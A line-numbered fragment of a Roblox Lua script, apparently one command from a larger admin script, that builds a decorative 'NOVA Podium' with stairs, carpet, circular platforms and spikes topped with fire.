4852
        local Main = Instance.new("Model",workspace) Main.Name = "NOVA Podium"
4853
        local MainCFrame = Speaker.Character.Torso.CFrame
4854
            * CFrame.new(0,-4,0)
4855
            + Speaker.Character.Torso.CFrame.lookVector*3
4856
        local SeccondaryCFrame = Speaker.Character.Torso.CFrame
4857
            * CFrame.new(0,-4 + (25 * 0.9),((2 * 25) * -1) - 10 )
4858
            + Speaker.Character.Torso.CFrame.lookVector*3
4859
        if CFrame == nil then return end    
4860
        coroutine.resume(coroutine.create(function()
4861
       
4862
            for i=1,25 do
4863
                wait()
4864
                local Step = Instance.new("Part",Main)
4865
                Step.FormFactor = "Custom"
4866
                Step.Name = "Step"
4867
                Step.Anchored = true
4868
                Step.Locked = true
4869
                Step.Reflectance = 0
4870
                Step.TopSurface = "Smooth"
4871
                Step.BottomSurface = "Smooth"
4872
                Step.BrickColor = BrickColor.new(SeccondaryColor)
4873
                Step.Size = Vector3.new(6,1,3)
4874
                Step.CFrame = MainCFrame * CFrame.new(0,(i*0.9), i * (-2))
4875
                Instance.new("BlockMesh",Step)
4876
               
4877
                local Carpet = Instance.new("Part",Main)
4878
                Carpet.FormFactor = "Custom"
4879
                Carpet.Name = "Carpet"
4880
                Carpet.Anchored = true
4881
                Carpet.Locked = true
4882
                Carpet.Reflectance = 0
4883
                Carpet.TopSurface = "Smooth"
4884
                Carpet.BottomSurface = "Smooth"
4885
                Carpet.BrickColor = BrickColor.new(MainColor)
4886
                Carpet.Size = Vector3.new(4,1,3.2)
4887
                Carpet.CFrame = MainCFrame * CFrame.new(0,(i*0.9)+ 0.1, i * (-2))
4888
                Instance.new("BlockMesh",Carpet)  
4889
            end    
4890
            local MainCirc = Instance.new("Part",Main)
4891
            MainCirc.FormFactor = "Custom"
4892
            MainCirc.Name = "MainCirc"
4893
            MainCirc.Anchored = true
4894
            MainCirc.Locked = true
4895
            MainCirc.Reflectance = 0
4896
            MainCirc.TopSurface = "Smooth"
4897
            MainCirc.BottomSurface = "Smooth"
4898
            MainCirc.BrickColor = BrickColor.new(SeccondaryColor)
4899
            MainCirc.Size = Vector3.new(20,1,20)
4900
            MainCirc.CFrame = SeccondaryCFrame
4901
            Instance.new("CylinderMesh",MainCirc)
4902
           
4903
            local SeccondaryCirc = Instance.new("Part",Main)
4904
            SeccondaryCirc.FormFactor = "Custom"
4905
            SeccondaryCirc.Name = "SeccondaryCirc"
4906
            SeccondaryCirc.Anchored = true
4907
            SeccondaryCirc.Locked = true
4908
            SeccondaryCirc.Reflectance = 0
4909
            SeccondaryCirc.TopSurface = "Smooth"
4910
            SeccondaryCirc.BottomSurface = "Smooth"
4911
            SeccondaryCirc.BrickColor = BrickColor.new(MainColor)
4912
            SeccondaryCirc.Size = Vector3.new(18,1,18)
4913
            SeccondaryCirc.CFrame = SeccondaryCFrame * CFrame.new(0,0.1,0)
4914
            Instance.new("CylinderMesh",SeccondaryCirc)
4915
            for i=1,math.floor(360/6) do
4916
                local Spike = Instance.new("Part",Main)
4917
                Spike.FormFactor = "Custom"
4918
                Spike.Name = "Spike"
4919
                Spike.Anchored = true
4920
                Spike.Locked = true
4921
                Spike.Reflectance = 0
4922
                Spike.TopSurface = "Smooth"
4923
                Spike.BottomSurface = "Smooth"
4924
                Spike.BrickColor = BrickColor.new(MainColor)
4925
                Spike.Size = Vector3.new(1,7,1)
4926
                Spike.CFrame = SeccondaryCFrame
4927
                    * CFrame.Angles(math.rad(0),math.rad((360/6)*i),math.rad(45))
4928
                    * CFrame.new(7,-7,0)
4929
                Torch = Instance.new("Part",Main)
4930
                Torch.Reflectance = 1e+999
4931
                Torch.FormFactor = "Custom"
4932
                Torch.Shape = "Ball"
4933
                Torch.Anchored = true
4934
                Torch.Locked = true
4935
                Torch.Size = Vector3.new(2,2,2)
4936
                Torch.CFrame = Spike.CFrame
4937
                    * CFrame.new(0,3.5,0)
4938
                    * CFrame.Angles(0,0,0)
4939
                Instance.new("Fire",Torch)
4940
            end
4941
        end))
4942
    end
4943
)